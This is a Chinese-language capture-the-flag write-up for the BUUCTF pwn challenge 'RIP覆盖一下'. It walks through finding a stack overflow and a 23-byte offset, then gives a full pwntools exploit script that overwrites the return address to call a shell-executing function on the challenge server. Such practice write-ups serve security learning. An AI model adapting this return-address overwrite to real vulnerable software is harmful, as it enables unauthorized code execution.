【Writeup】BUUCTF_Pwn_RIP覆盖一下

0x01 解题思路

  • 查看文件信息
    【Writeup】BUUCTF_Pwn_RIP覆盖一下_第1张图片

    ​ 没什么防护措施的ELF64文件。

  • 拖入IDA x64,F5
    在这里插入图片描述
    显然可以通过栈溢出覆盖RIP。

  • 发现命令执行函数
    【Writeup】BUUCTF_Pwn_RIP覆盖一下_第2张图片
    地址为0x401186

  • 利用peda计算输入点距离RIP的偏移值
    【Writeup】BUUCTF_Pwn_RIP覆盖一下_第3张图片
    【Writeup】BUUCTF_Pwn_RIP覆盖一下_第4张图片
    【Writeup】BUUCTF_Pwn_RIP覆盖一下_第5张图片
    在这里插入图片描述
    得出偏移量是23
    现在就可以写出覆盖RIP执行fun函数的EXP了。

0x02 EXP

from pwn import *

io=0

def isDebug(debug):
    global io
    if debug:
        io = process('./pwn1')
    else:
        io = remote('pwn.buuoj.cn', 6001)
    
def pwn():
    offset = 23
    payload = 'A'*offset
    funAddr = 0x401186
    payload += p64(funAddr)
    io.sendline(payload)
    io.interactive()

if __name__ == '__main__':
    isDebug(0)
    pwn()

获取flag:
在这里插入图片描述

你可能感兴趣的:(BUUCTF,-,Writeups)